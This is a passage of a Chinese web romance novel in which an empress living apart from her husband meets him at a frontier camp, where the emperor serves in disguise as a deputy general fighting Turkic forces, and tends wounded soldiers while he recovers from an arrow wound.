卫缙听到他的话,瞪了他一眼:“薛姑娘是将军的姐姐,不是什么外人,将军要是知道你把薛姑娘拦在了外面,一定会生气。” 那士兵有些不好意思道:“我觉得将军不会生气” 上次赵长史那年迈的母亲,将军几年前认的干娘来寻他,他们没放她进去,将军也没生气。 “少废话,薛姑娘跟我走。” 卫缙二话不说替她牵着她的马往前走,让薛弗玉有些进退两难,她看了一眼那士兵,在后者无奈的目光之下,才不得不跟了上去。 进了军营,她也不乱看,只默默跟在卫缙身边,来往的士兵除了和卫缙打招呼之外,也不会因为军营中出现一个女子而好奇打量。 这些都是阿弟手底下的兵,薛弗玉看着这些训练有素的士兵,心中生出自豪。 卫缙本是想要带着薛弗玉直接去薛岐的营帐,没想到路过校场的时候,发现校场里已经站了好些人。 其中一道高大的身影被他们团团围住。 刘四的嗓门大,他带了点挑衅的声音从那边传来:“我们今日第一次见谢将军,听说谢将军是从京城来的,又与皇族一般姓谢,想来出身高贵,自小必定有名师指导,不如与我切磋切磋?让我等见识见识将军的身手。” 原本卫缙是想要忽视他们几个的,偏偏刘四的声音太有穿透力,让身边跟着的女子也忍不住抬头往那边看去。 “卫都尉,那名就是陛下派来的副将?” 那副将与他们不同,今日没有穿盔甲,只是身着一身干脆利落的玄色衣裳,头上用绑带扎着一个高马尾,高大的背影看着倒是让她生出熟悉之感。 卫缙不想让薛弗玉见到刘四这些粗俗之人,恨不得立刻带着薛弗玉离开,可瞥见她脸上的好奇,只得道:“正是,今日他也要和将军一起观赏训练。” “可知道他叫什么名字?”薛弗玉盯着那道被人挑衅却无动于衷的背影问道。 卫缙想了想,道:“叫谢昀,家里行七。” 他的话才说完,不等薛弗玉震惊,那边被他们二人讨论的男子也似有所察,跟着转身朝着他们这边望来。 那张俊美的脸在看到他们的时候,眼中闪过一抹冷厉,尤其是看到站在她身边的卫缙时,那抹冷色尤为明显。 “薛姑娘,咱们还是先去找将军吧。” 卫缙自然感觉到了男子对他莫名的敌意,他看了一眼身边站着的姑娘,很快就明白了。 这位京中来的副将,大约也是喜欢上了薛姑娘,不然不会拿这样的目光来看他。 只是他不是才第一次见薛姑娘吗? 还是说他们在将军的府上已经见过? 薛弗玉不知道卫缙百转千回的心思,她避开对面校场上男子投来的目光,握着佩剑的手收紧,点头道:“嗯,走吧。” 说完便不再看那边眼巴巴望着她的男子,快步跟着卫缙离开。 “谢将军敢和我比试吗?” 刘四不满他的走神,强行走到谢敛的跟前,挡住了他追随那道倩影的视线。 谢敛收回自己的目光,唇边勾出一道极淡的笑意,掩饰心底的失落。 “既然如此,便请吧。” 等这边薛岐训斥了一番卫缙之后,无奈带着薛弗玉走上校场的看台上,站定后才发现刘四等人都躺在地上呼痛,而中间则站着那道挺拔的身影。 薛岐原是不想让薛弗玉见到谢敛的,然而不久前卫缙告诉他,她已经在前往他营帐的路上见过副将了。 而薛岐到底是不能把这位彻底得罪了,干脆带着阿姐前去,他就不信,有阿姐在,谢敛还能对他摆脸色。 赵凌可是与他说过,当初她假扮阿姐被突撅三王子挟持在崖边的时候,谢敛可是巴不得代替她受罪,更是在看见她掉下悬崖之后,也狠不得跟着跳下去。 要不是陆骞等人拦着他,说不定他早就跟着跳下去殉情了。 看来谢敛对阿姐是真的动了情,他敛眉思索 。 “他怎么会在这里?”薛弗玉问。 虽然谢敛一个人就把几个人给打趴下,但是脸上还是受了伤,而且他身上还有旧伤,他竟然还敢与人比试。 薛弗玉不明白他为何要扮做副将前来,他不在京中,万一被那些朝臣知晓,岂不是会出乱子? 薛岐满不在乎道:“当了皇帝就是能这般任性,若是让先帝知道他如今的作为,一定能被他从棺材里气活。” 他知道谢敛不是什么冲动之人,他能放下京中的事务前来,定然是交代好了那些事情,且自从清除京中突撅势力开始,他暗地里连带着把一些有不臣之心的人也一并清理了。 西北一带通敌的官员也全数落马。 如今除了前方一触即发的战事外,朝廷一派祥和,有两位宰辅在,他称病个几月不成问题。 “我回去了。” 薛弗玉脸上的笑意早已没了,她见转身看向他们这边的谢敛,转身就下了台子。 她下了台子后直接去找卫缙牵了马来,坐上马匹毫不留恋地离开了军营。 这边的谢敛本来想追上的,结果被刘四等人给绊住了,他们几人已经被他打服,拉着他要与他讨教功夫。 薛岐看着被几人围住,脸色黑了下去的谢敛,突然觉得很气顺。 “将军,谢将军究竟是何人,这身手真的是京中那种富贵地出来的?”卫缙不知何时出现在他的身边,眼中有对谢敛的赏识。 薛岐撇了撇嘴,“当初被我揍得鼻青脸肿的,如今倒是长进了许多。” 不可否认,当年连他的十招都接不住的人,能把他们军营里拔尖的几人打赢,看来这些年他确实下了不少的功夫。 卫缙闻言有些诧异:“将军之前不是说不认识他吗?” 薛岐笑道:“那不是之前没记住他的名字,等会人散了你提醒下刘四几个,别把人给得罪狠了,不然我也保不了他们。” “将军这话什么意思,难不成谢将军还能越过将军去决定刘四等人的生死吗?”卫缙不解。 “别管那么多,照我说的去做就是了。”薛岐一脸神秘道。 谢敛被刘四等人围住,一时抽不开身,他皱眉再次看向看台的位置,只见连薛岐的身影都不见了。 想起方才见到她时的场景,他的眉头不禁皱了起来。 她竟是真的这般狠心。 他没想到自己住在薛宅的时候,她还能扔下受伤的他和女儿跑了,让他备受打击。 可他除了让底下的人去寻她之外,却有更重要的事要做。 原本他想告诉她自己此次出京的目的,却不曾想她又跑了。 这一次他本不想再瞒着她的。 但他没想到,她会出现在江阴镇。 这个即将陷入危险的地方。 他望着看台的方向微微出神。 他该拿她怎么办才好? 晚上薛弗玉沐浴过后,想起白天在校场上看到的男人,心里还有些惴惴不安。 她原是想避开他,想着等他想通了,他或许会带着昭昭离开邑沧郡回京城去。 没想到他会以另一重身份出现在江阴镇。 且还是要上阵杀敌的副将。 她心绪复杂地坐在房中,盯着眼前的烛火发呆。 半晌,眼前的烛火闪了闪,很快一道身影走了进来。 对方的身上带着潮湿,发梢似乎还沾着水汽,像是趁夜赶回来的。 薛弗玉抬眸看去,对上男人那双浓墨似的眼瞳。 她下意识越过他看了一眼外面,哪里还有什么莺儿的身影。 “你的丫鬟出去了,一时半会儿不回来。”看懂了她意思,谢敛道。 男人在走到她的身前,目光沉沉地看着她,里面似乎酝酿着什么。 不知为何,这样的场景让薛弗玉想起还在宫里的时候,他的到来总是会让她觉得有压迫感。 没想到过了这么久,这种让她不安的压迫感又重新回来了。 难不成她再次不告而别,彻底激怒了他,所以这一回他真的生气了? 她在心里想。 谢敛站在她的身前,高大的身影将她笼罩在其中,他垂眸对上她柔美的面庞,强忍着心里想要把人拥入怀中的冲动。 “这里危险,你明日就回邑沧郡去,昭昭还在那里等着你。” 他的眼神突然变得温柔,与她说话的语气也软了许多,身上那股子最开始带来的压迫感瞬间消失不见。 薛弗玉没想到他开口说的竟是这个。 她愣了一瞬,但是很快又摇头,坚定道:“我不回去,我要留在这里。” 谢敛没想到她拒绝得这么干脆,他一只手放在她的肩上,俯身对着她道:“玉姐姐,这是朕的旨意,回邑沧郡去。” 面对她的拒绝,他不得不搬出自己的身份来。 薛弗玉却不吃他这一套,她反驳道:“你如今是谢昀,我阿弟的副将,并不是什么大周皇帝,没有资格这样要求我。” 说完果然见男人顿住了,接着似懊恼道:“玉姐姐,你明明知道我不是。” 薛弗玉静静看着他吃瘪的样子,再次道:“谢将军,夜深人静,我们孤男寡女在一起若是让我阿弟知道了,怕是不会饶过你。” 她说这话的时候,就仿佛谢敛深夜潜入她的房间,会对她图谋不轨一般。 也仿佛,她与他一点也不熟。 可明明他们是世间最亲密无间的夫妻,她是他的发妻,而他是她的夫君。 谢敛最害怕她用这样的目光看着自己,最终,他败下阵来,用与她商量的语气道:“若是突厥来势汹汹想要攻城,我会提前让人送你离开。” “别再拒绝我好么?昭昭不能失去你。”他忍不住搬出女儿。 他不想昭昭变成没有父母的孩子。 薛弗玉沉默,她不喜欢谢敛用昭昭当做借口,“我已经决定要和阿弟共进退。” 言下之意是怎么劝也没用了。 谢敛如今也明白了,一旦她做了某种决定,下了某个决心,不管是谁都不能劝说。 最开始他还觉得薛岐不靠谱,竟让她留在这么危险的地方,如今倒是知晓,薛岐怕是早就劝过她一回。 “昭昭的性子倒是有几分像你,都一样的倔。” 他似乎无奈地笑了一下。 薛弗玉抿唇,没有否认。 “不过像你才好。”不等她说话,他又自顾自道。 不要像他一样自负。 “听说明晚你要带人偷袭突厥,还请你小心为上。” 薛弗玉见他这般,终是忍不住开口提醒。 谢敛猛地看向她,对上她平静的眸子后又悄悄攥紧了手指,最后他扫了一眼被她放在一旁做了一半的衣裳,轻声问:“若是这一仗赢了,你还能像在旧宫时一样,替我做一双鞋么?” 不知为何,听到他这一句话,薛弗玉的心莫名跳了一下。 “罢了,当我没说。”半晌,见她没有回答,男人终是失落道。 “夜深了,还请回吧。”薛弗玉再次下逐客令。 谢敛看向她,想起从前还在宫中的时候,她从来不会赶他。 他站在原地没动,紧紧盯着她,想要从她冷淡的神情里看出什么。 想起明晚的突袭也许会有凶险,他突然想问她一个问题:“玉姐姐,在你眼中,除了那层身份之外,你究竟将我视为你的什么人?” 薛弗玉闻言抬眸看向他,在看清他眼底的情绪后,她缓缓道:“我与你成亲时,你才十六,我便将你当成阿弟一般” “够了!不必再说。”谢敛打断了她,身体几不可察地晃了一下,然后转身离开。 似乎在逃避什么。 薛弗玉 望着他消失在门边的身影,眉头紧紧皱在一起—— 作者有话说:谢敛:别人家的姐弟也要做[黄心]生孩子吗?[彩虹屁] 大家元宵快乐!红包掉落,感谢一路追更的小天使,抱住就是一个猛亲[抱抱][亲亲],男女主不亲我亲(什 还有就是据说今晚是红月,感兴趣的小天使可以出门看看月亮哦!(我这边下雨看不到有点可惜) 第72章 隔天晚上,薛弗玉独自一人在花厅用了晚膳。 薛岐白天的时候和她,他今晚应是不回来了,大约会一直在军营。 具体是什么原因,她自己也清楚。 即便不是薛岐亲自带着几百精锐去突袭,但是她的心里却没来由地紧张和不安。 用过晚膳之后,她回到自己的院子,沐浴完不久,她站在院子里看着上弦月久久不言。 “姑娘,夜里更深露重容易受凉,还是快些进去吧。” 莺儿拿了一件披风给她披风,劝说道。 薛弗玉心中有些焦躁,想一个人静一静,于是对着身边的莺儿道:“我这没什么事了,你下去休息吧。” 莺儿见她似乎有些心不在焉,以为她是在担心薛岐,于是道:“姑娘不必担心,以前将军在战前也常常会睡在军营。” 薛弗玉嗯了一声,没有说什么。 等莺儿走了之后,她的目光从上弦月上落在一旁的桂树上。 此时的桂花已经凋零,落在地上的花朵也被清扫干净,整个院子没有了那股甜香,只剩清冽的草木香。 再过一阵子,到了初冬,就会连这些草木都会变称枯黄的一片。 薛弗玉骤然觉得自己的心像是空了一块,她的手慢慢放在心脏的地方,感觉到它在规则的跳动,不明白这一瞬的不适感因何而来。 这一晚,她到了后半夜才逐渐睡去。 翌日早上起来的时候,她用了早膳,焦急地在房中等待消息。 然而等了一天也不见薛岐回来,军营那边也没有传来任何的消息。 她的心逐渐变得焦急,给薛岐缝衣裳的期间还不小心扎到了手指。 “姑娘,你的手出血了,小心些!” 莺儿眼尖地看见她指腹沁出的血珠,她忙放下手中的剪刀,拿出帕子替她擦拭手指上的血珠。 这时候薛弗玉才也渐渐回神,指腹的刺痛让她冷静下来。 阿弟曾说他是主帅,偷袭的事情不用他亲自出马,昨晚带领精锐偷袭的是谢敛。 所以阿弟在军营应该是安全。 她又何必担心呢? 但她到底是想要知道昨晚突袭的结果,毕竟谢敛作为一国之君,在这场战争还没结束的时候,她并不希望他有事。 且他要真的出事,昭昭该怎么办? 然而直到天彻底黑下来,她仍旧没能知道那边的消息。 亥时后,莺儿看着还坐在窗边的薛弗玉,在心里叹了口气,她之前怎么没发现姑娘的性子有些倔呢。 她走了过去,收拾桌上那些做衣裳的布料针线。 这些都是给将军做完衣裳后剩下的,她为了转薛弗玉的注意,道:“剩下的这些料子倒是还能做一双鞋,姑娘要不再给将军做一双鞋吧?” 正好给姑娘找些事儿做,免得她明天还要像今晚这样魂不守舍的。 听到莺儿提做鞋,薛弗玉的眼眸动了动,想起昨天晚上谢敛小心翼翼地请求。 她看向莺儿手中那块玄黑的料子,半晌后才道:“不用了,这些料子你若是还有用,就拿去吧。” 莺儿闻言高兴道:“姑娘不要的话,那奴婢正好拿去给奴婢的哥哥做一双鞋。” 等莺儿高高兴兴地走了之后,薛弗玉这才起身去睡觉。 就这样安静的在府上等了两天,第三天的时候薛岐终于回来了。 薛弗玉抱着给他做好的两身衣裳去找他。 院门口的守卫见了她并未阻拦,还贴心地告诉她薛岐才回来不久。 薛弗玉才走到门口,就听见里面传来赵长史的声音:“将军,这一次谢将军带人烧了突厥人的粮草,听说他们的粮草被烧了大半,损失极大。” 她没想到薛岐的屋子里还有旁人在,为了避嫌,她抱着衣裳转身就要走。 谁知道身后又传来薛岐的声音,“倒是我小瞧谢昀了。” “只可惜谢将军带的人马不够,要不是有人替他打掩护,恐怕那突厥主帅的箭矢就射中了他的心脏,幸而只是射偏,没有伤及心肺。”赵长史道。 薛岐道:“算他命大,也幸好没出事。” 要真出了事,说不定阿姐还会跟着伤心,毕竟阿姐与谢敛相处了十年,这十年来日日相处,就算是养条狗也有感情了。 他在心里默默腹诽。 薛弗玉走出薛岐院子的时候,只觉得手中不知何时出了一层汗。 方才赵长史说谢敛受伤了,但是伤得不重,算着日子,他身上的旧伤其实还没有痊愈。 脚下的步子有些沉重,她想要去瞧一瞧他伤得如何,不管如何,总得亲自去看上一眼她才能放心。 这样想着,她又重新转身往薛岐的院中去。 在门口的时候正好碰上赵长史,赵长史对着她客气行礼:“薛姑娘,将军在里面。” 他见薛弗玉抱着新作的衣裳,心中了然,说着回头看了一眼身后的院子。 薛弗玉对着他屈膝回礼,道了声谢。 薛岐正给自己倒了一杯茶,就看她抱着衣裳进来。 “阿姐,你来找我有事?” 不知为何,看着出现在门边的薛弗玉,薛岐的心里顿时有些心虚。 薛弗玉像是没有听见他们方才在屋子里头的谈话一般,面上旋即露出一抹浅笑:“这是我给你做衣裳,试试合不合身?” 薛岐听了,脸上瞬间露出高兴的神情,他忙从她的手中接过衣裳,对着她道:“府上有裁缝,阿姐怎么还亲自给我做这些,要是累着你可怎么办?” 虽然是这样说,可他的嘴角一直都是翘着,他拿着衣裳很快就进了卧房,不多时就穿着她做的衣裳出来。 “很合身,阿姐的手艺见长。” 他记得以前阿姐就是绣一块帕子都绣不好的。 薛弗玉想起自己这手艺是当年旧宫的时候练就的,她记得第一次给自己做衣裳的时候,还是碧云帮着改了好几次才勉强能穿出去。 再后来,她就拿给谢敛做的衣裳来练手,幸而谢敛虽然嘴上嫌弃她做的衣裳,但还是乖乖地穿上了。 想起谢敛,她脸上的笑意减了几分。 她到底是没有忍住,轻声问:“那夜偷袭成功了吗?” 薛岐正抬起袖子看着袖口上绵密的针脚,下意识回答:“算是成功了吧,就是折损了三分之一的精锐,不过也算是不错了,突厥人的粮草被我们烧了一半,此时怕是正焦头烂额。” 突厥人游牧为生,到了冬天不能放牧,很多人家的粮草都是要留着给自家过冬的,军队粮草没了就要征集,这可不是一件容易的事。 “谢敛的伤重吗?” “不重,就是需要养十天半个月的伤而已。” 话音刚落,薛岐突然意识到了什么,他惊讶地看向薛弗玉,却见她一脸平静。 “阿姐,你是怎么知道的?”薛岐觉得一定是有哪个嘴碎的人偷偷告诉了阿姐,他撇了撇嘴:“你不用担心,就是小伤,而且他既然敢亲自上阵,想来也是做好了抛却生死的准备。” 战场上刀剑无眼,受伤就是家常便饭,这点他都忍受不了的话,那可以收拾铺盖滚回他的京城去了。 片刻后,他瞪大眼睛,看着一言不发的薛弗玉道:“阿姐,你该不会是喜欢上他了吧?不行,你不可以喜欢他!” 薛弗玉本来正心情复杂的,此时却被他的表情给逗乐了,她道:“说什么呢,他是大周的皇帝,要是真死在战场了,我和昭昭怎么办,他膝下没有皇子,就怕会生出不少事端。” 薛岐想起那个见过几面的小外甥女,他道:“这有什么难的,直接立小昭昭做皇帝不就行了,她可是帝后的女儿,除了她谁还有资格?” 再不济阿姐做女帝也行,历史上不是还有掌权的太后吗? 当然,这句话他不敢说出来,否则一定会挨阿姐的打。 薛弗玉没有把他不着调的话听进去,她拧眉道:“我倒是不希望他真的出事,他登基以来这些年做的事你也能看出,于国家上,他确实做了不少实事。” 虽然谢敛在其他方面不太行,但是在治国和用人上,确实有两把刷子。 薛岐此时也认真道:“阿姐,我方才的话也是认真的,难道你甘心他死之后大权落在与自己不相关的人身上,你我都经历过当年争储时的腥风血雨,要是他不在了,但是大权落到旁人手中,难保新上任的人不会对我们赶尽杀绝。” 谢敛登基之后,不就是这样对待薛家和太后的? 薛弗玉摇头:“罢了,他如今没出事,日后的事情日后再说,若他真的出事了” 后面她没有说下去,她原是想他要真的死在了战场上,她就带着昭昭在邑沧郡生活,永远也不回京城,这样新帝也拿她们母女俩没办法。 可转念一想阿弟如今手握重兵,手中还有一半的兵权,就担心新帝防着他功高震主,会借着别的名义对阿弟赶尽杀绝。 最终她道:“还是希望他和阿弟一样平安无事,昭昭的一切还得靠他这位父皇,做大周皇帝唯一的女儿,比当平民好多了。” 她似是在说服自己。 薛岐沉默地看了她半晌,动了动嘴唇想要说什么,最终只是问她:“他这些天在军营养伤,阿姐可要去瞧他?” 薛弗玉藏在袖中的指尖微微蜷起,她抬眸看向他,道:“你已经说了他伤得不轻。” 这话不像是应了,也不像是拒绝,薛岐猜不透她的心中所想,他道:“那阿姐要是想去军营了,直接去就好,我会让他们不准拦着你。” 薛弗玉心不在焉的嗯了一声。 此时军营里,谢敛上身赤*裸着,左肩上缠着的绷带渗出丝丝血迹,他自己动手拆了绷带,又自己缠上,最后用嘴咬着绷带打了个结。 刘四等人才走不久,那日得知他带人烧了突厥大半粮草,刘四他们便兴奋地围着他,要他讲讲是怎么做到的。 毕竟对方于他们来说可是强大的对手,曾经就连将军都差点没能在他们身上讨到好的。 谢敛虽然嫌他们吵闹,却出奇地不反感这样的氛围,甚至还有些喜欢。 毕竟受了伤,他们也不敢吵他太久,于是这两日都是来他的营帐里坐半个多时辰,又陆续离开。 他给自己随意套了件外衣,仰躺在简陋且坚硬的榻上,盯着营帐的顶出神。 与之前的两次受伤不同,这一次他并不想让她知道自己受伤,只要一想到那晚她说的话,他便明白,就算是告诉她受伤,也不过是在自取其辱。 她如何会担心自己,毕竟她真正的阿弟就在身边。 他这个没有血缘的表弟,她又怎么会担心呢? 她还真是狠心,可他却拿她没有办法。 原来这些年来,她从没将他看作是夫君。 思及此,他的心底涌出许多的苦涩,心脏上隐秘的痛比在被突撅主帅一箭射中时还要尖锐,他狠狠闭上眼睛,深深吐出一口气。 可他能怎么办? 他就是喜欢她,喜欢到为了不给她徒增烦忧,而需要强行压抑自己感情的地步。 “谢将军,卫都尉前来看你。” 门口的守卫对着里头通报道。 听到卫缙的名字,谢敛想起那日对方和薛弗玉站在一起的场景,他深吸一口气,最后坐起身还是让人进来了。 卫缙手上拿着一瓶药放在案上,笑着对着谢敛道:“这是我家祖传秘制的伤药,对伤口愈合有奇效,谢将军不嫌弃的话,还请收下。” 谢敛原是想要拒绝,可看见他赤诚的目光,到了嘴边的话又收了回去,只道了声谢。 卫缙先是与他闲聊几句,然后突然挠了挠头,清秀的脸上露出几分不好意思来:“听说谢将军与薛姑娘相识,想必知道薛姑娘的喜好,将军能否告知一二。” 提到薛弗玉的喜好,谢敛的唇角往下压了压,自那次在太后宫中用了午膳后,他早已把她的所有喜好都背得滚瓜烂熟,刻进了脑海,直到他死也不会忘记的地步。 如今想来应该是没什么用了,他垂眸看向坐在对面的卫缙,强忍着心中酸涩平静问道:“自是知晓一二,卫都尉知道她的喜好,是因为喜欢薛姑娘,想讨她的欢心么?” 他问得坦荡,然而心思却不坦荡。 卫缙没想到还真找对人了,上次他找薛岐旁敲侧击地询问,结果挨了对方的几个白眼。 本来他还怀疑这位谢将军与自己一样心慕薛姑娘,他方才的话原是有试探之意,没想到他却表现得平平,就好像没有那个心思。 “自然是喜欢的,薛姑娘是我见过的生得最好看的女子,且性子又温柔,没有人会不喜欢她的。”他回答道。 谢敛觉得他说得对,没有人会不喜欢她,除了当年那个掀开她喜帕的少年外。 他神色淡了几分,也不知道是厌恶曾经的自己还是什么。 眼前的男子二十三四的模样,然而提到喜欢的人,双目变得神采奕奕。 真是,让人嫉妒。 片刻后,谢敛像是做了什么决定,故意问:“薛姑娘她,曾经嫁过人,又比你大上许多,你不介意?” 卫缙毫不犹豫道:“不介意,她嫁过人又不是杀过人,年纪比我大又如何,我就喜欢比我大的。” “傻子。” “将军,你说什么?” 谢敛撇了他一眼,淡声道:“没什么。” 等卫缙满脸笑容地离开后,他又陷入了深深的沉思。 他不知道自己这样做是对还是不对。 从前他打着为她好的幌子,做了许多她不喜欢的事,如今他还要继续这样么? 且这样做真的是对的么? 他不知道。 这是他能想到的对她来说最好的归宿了。 果然他就是个自私的人。 他露出几分自我厌弃的笑 突厥粮草被烧,终于还是忍不住开始进攻。 双方在江阴镇六十里外进行了第一次的正面交锋。 然而敌我两方实力不相上下,打了两天伤亡都没能从对方身上讨到好处。 伤亡的将士多了,军中开始征集男女大夫。 薛弗玉是在军营门口碰上的楚莹。 “薛姐姐?” 楚莹跟在一位中年男人的身边,肩上挎着一个药箱。 她的语气中带着羞涩与高兴。 薛弗玉到底是不能守在府上等消息,她今日干脆跟着那些大夫一起进了军营,虽然她不会治病,但是可以帮着打下手。 听见楚莹的声音,她还有些意外。 此时回身见少女对着她摇手打招呼,她的脸上也跟着露出几分笑意。 “楚妹妹,你也是来医治伤兵的吗?”她上前问。 闻言楚莹露出几分不好意思的笑:“我还没那个本事,就是跟我爹来,给我爹帮忙的。” 一旁的楚大夫轻哼一声,“别给我添乱就行。” 薛弗玉对着他问了声好,对方对她的态度倒是比对女儿的好了些:“这位姑娘也是大夫?” 楚莹抢先一步回答道:“薛姐姐才不是大夫,她是薛将军的姐姐,薛姐姐是来看学将军的吗?” 薛弗玉道:“我与楚妹妹一样,想要在这场战事中尽几分绵薄之力。” 楚莹是知晓她身份的,她将薛弗玉拉到一旁担心地问道:“薛姐姐,会不会有别的认识你,万一他们认出你是——” 薛弗玉拍了拍她的手背,安抚她:“放心,除了我阿弟之外,没人知晓我的真实身份。” 这时候楚莹才将心放回了肚子里。 “那咱们一起去那边吧!” 去了放满伤兵的地方,楚莹和薛弗玉再也没有时间闲聊,二人忙得团团转。 “薛姑娘,这个药烦请给谢将军送去。” 一名军医对着薛弗玉道。 说着不容拒绝地已经把药放到了薛弗玉的手中。 她指尖轻颤了一下,以为是他又受伤了。 也是,前两日战事激烈,从这些伤兵身上就能看出。 半晌,她终于去了谢敛所在营帐。 她走到帐门前停下,看向里面时见男人此时褪了上衣,身上除了新伤之外,还有左肩下一道不久前留下的箭伤。 那道箭伤离心脏出只差半指的距离 ,若是再往下一点,便足以致命。 “进来。” 半晌,冷淡的男声从里头传来,此时的嘴边咬着绷带,正要自己给缠在肩上的绷带打结。 他早就知道门口站了个人,以为是来给他送药的军医所以并未抬头。 谁知道这人在营帐前站了许久,却迟迟没有进来,他利落地打结,然后抬眸往外看去。 对上那双似乎带了担忧的潋滟双眸后,他脸上的神情明显愣住了。 片刻后,男人的喉结滚了滚,最后才唤了她。 “玉姐姐?”—— 作者有话说:正文应该还有两章就结束了[求你了] 第73章 他看见薛弗玉的目光落在他身上的伤处,立刻抄起一旁的上衣穿上系好,这无异于掩耳盗铃。 半晌之后,又暗自自嘲,自己遮遮掩掩的有什么用,她方才都看见了。 只要一想到她刚才眼中露出的那点担忧,他的心就像是被什么给填满了,伴随着饱胀和感动。 原来他竟是这般容易被满足么? 薛弗玉不知道他心里的激动,她握着药瓶的手紧了紧,眼中的担忧早已被她掩藏了起来,她走过去把药放在案上,对着他道:“这是刘军医让我给你送来的药。” 说着又把刘军医要她交代给谢敛的话都说了一遍。 谢敛听着她的声音,期间一直沉默不言,等她说完之后他想要问她为何会在这里,想告诉她这里很危险,想让她离开。 可想起上次他劝说的她的话,他又终是没有说出口,只哑声道:“我知道了。” 语罢,营帐内又陷入了一片沉寂之中。 最终薛弗玉不习惯这样的气氛,道:“若没有什么事,我走了。” 谢敛看着她将要转身离去,到底是没能忍住,“可以替我倒杯水么?” 良久都没有得到回应,他的眸色渐渐黯淡下去,接着垂下眼帘不再看她。 这个要求不过分,可直觉告诉薛弗玉,他这是在挽留自己,她原是想拒绝的,但一想到方才看见的他身上的伤,又只能弯腰帮他倒水。 谢敛听见倒水的声音,猛地抬头,他以为她不想继续与他有过多的牵扯,没想到她还会愿意帮他。 心里被那股又酸涩又甜蜜的感觉占据着,他咽了咽口水,看着缓缓走到眼前的女子,紧紧盯着她柔美的脸,慢慢感受着心脏欢快的跳动。 薛弗玉把粗糙的杯子送到他的跟前,却见他那双漆黑的双眸盯着自己,也不伸手来接水,她忍不住催道:“拿着。” 谢敛回神,看着眼前盛满了水的杯子,很快就露出可怜的模样:“玉姐姐,我的手受伤了,可喂我喝么?” 薛弗玉垂眸对上他那双墨色的瞳仁,在他的脸上看出了几分委屈,若是换在从前,她定然会心软,她知道这男人就是吃准了她容易心软。 她扫了一眼他的右手,道:“你受伤的是左手,然后连右手也废了吗?” 她的声音依旧温和,可说出来的话却莫名带了几分讥讽。 然而这样的话落在谢敛的耳中,似乎未能伤害到他半分,他腆着一张脸凑上前,然后道:“右手也受伤了,只是伤在你看不见的地方。” 说着他直接就着薛弗玉的手叼住了杯口。 薛弗玉还是第一次见他脸皮这么厚,瞬间没了脾气。 怕她突然松手,所以谢敛喝得很快。 见状,薛弗玉以为男人是真的渴了,不然也不会喝得这么急,她下意识蹙眉提醒他:“别喝这么急,仔细呛着。” 因为她无意的关心,谢敛的心情又瞬间变好了。 喝完后,他还有些恋恋不舍。 “玉姐姐,你的衣裳熏的什么香,好香。”他凑上前闻了闻。 薛弗玉立马退开,想骂他怎么跟条狗似的。 “我还要帮着他们给伤兵处理伤口,先走了。” 薛弗玉实在是不想继续和他呆在一起,放下手中的杯子转身就出了营帐。 留下谢敛脸色发黑地坐在榻上。 玉姐姐宁愿帮那些人处理伤口,也不愿与他呆在这里。 他的心里突然生出嫉妒的情绪。 嫉妒那些伤兵能得到玉姐姐的悉心照料 与突厥之间的战争已经正式开始,短短两个月,双方就打了好几个来回。 伤兵越来越多,初冬的第一场雪落下的时候,突厥突然开启了猛烈的进攻,离边界越来越近。 距离他们只剩四十里。 今日薛岐叫齐了所有人前去他的营帐商议战术,几人从白天到黑夜都呆在里面没出来。 薛弗玉和楚莹从伤兵营地出来的时候,天上的星子已经亮了起来。 因为下了雪,营地里处处都点着篝火,一是为了照明,二则是为了御寒。 许是谢敛这六年来给国库积攒了不少的银钱,又或许是因为他本人在这里,所以这一次的补给给得很足,没有出现士兵挨饿挨冻的问题。 薛弗玉搓了搓自己的手,呵出一口热气。 “咱们也回去歇息吧,明日又不知道会是什么样。”她对着像是有心事的楚莹道。 身边的少女还是第一次真切的感受到战场上的刀剑无眼,这两个月她见到了各种各样的伤兵,整个人也变得有些不一样。 她突然问:“薛姐姐,这场战争什么时候才会结束呀,我不想再看到有人受伤流血了。” 那些伤兵的惨状每每看在眼里,她就会忍不住跟着揪心。 薛弗玉摇了摇头,看着眼前的火堆道:“我也不知道,或许明天就结束了。” 当然明天是不可能结束的。 要是战争这么简单,就不会是战争了。 很快楚莹又道:“不管什么时候结束,等会结束的,对吧?” 薛弗玉望了一眼天上的闪闪发光的星子,轻轻地点头。 说不定等结束了,领兵的几个人进宫受封看见金殿上坐着的人是他们曾经并肩作战的副将,还不知道会露出什么样的表情。 薛弗玉暗暗想。 可那个时候,他们还在吗? 不知为何,自从下雪以来,她的心里时不时就会有莫名的惊慌,她起先还以为是自己照顾伤兵累到了,而后又担心是自己的身体出了什么毛病,但是让楚大夫搭脉后,对方却说她的身子没什么问题,好得很。 她的目光越过好些营帐,最终落在最中间那顶最大的营帐上。 那是她阿弟的营帐,此时正灯火通明。 每晚她就寝的时候都会出来看一眼,每次都发现那边的灯还亮着。 她的心里隐隐有些担心,总觉得有什么大事将要发生。 “走吧。” 半晌,她收回自己的视线,与楚莹一起回了她们住的营帐。 最大的营帐里。 薛岐和谢敛等人还在商议接下来要怎么应对突厥。 “将军,不如咱们直接派一队人马去无风岭埋伏,今晚得到消息,那主帅会亲自带一支精锐从无风岭过,想要提前打我们一个措手不及,他们的主力会在后天从正面而来与我们交锋。” 过了无风岭,就是江阴镇的地界。 突厥是想要抄小道。 “那要派谁去?” 众人开始七嘴八舌地选人选。 薛岐听见是突厥主帅直接带人马前来,一时有些意动。 “这一次,我带兵前去无风岭拦截。”他果断道。 突厥领兵前往无风岭,说明他们的精锐就不会和上次谢敛一般只有短短数几百。 他的话音才落,其他几个人都反对。 “将军不可!” “就是,您亲自前去的话,我们还有什么用,这次就让我刘四去会会他!” “哎刘四你怎么能趁机抢活呢!” 营帐里闹哄哄的,谢敛坐在一旁始终没有说话。 无风岭的地图他早已背的滚瓜烂熟,他总觉得事情没有那么简单。 突厥主帅不可能只带一支精锐前往,除非是有什么阴谋。 他道:“还我去吧。” 薛岐已经发了话,不成想这些人这么没眼力见,尤其是听见谢敛的话后,顿时睨了他一眼,直接拒绝道:“谢昀,你没有与那突厥主帅交锋过,不了解他,你还不够资格去。” 其实在场的所有人当中,只有薛岐才有突厥主帅交过手,自然也比其他人更加了解对方。 他去是最合适的。 谢敛看着这位从未喊过自己姐夫的妻弟,陷入了沉思。 他早已让林季收集到了那名主帅的所有信息,全部都事无巨细。 所以他方才才会觉得其中有诈。 薛岐了解突厥主帅,对方同样也了解薛岐,知道他一直想要替父报仇,他猜测这消息至少有一成是假的。 “消息可准确?”谢敛突然问。 薛岐道:“消息是我的人冒死传回来的,不可能会有假,前面几次的消息都是他传递的,哪一次是假的?” 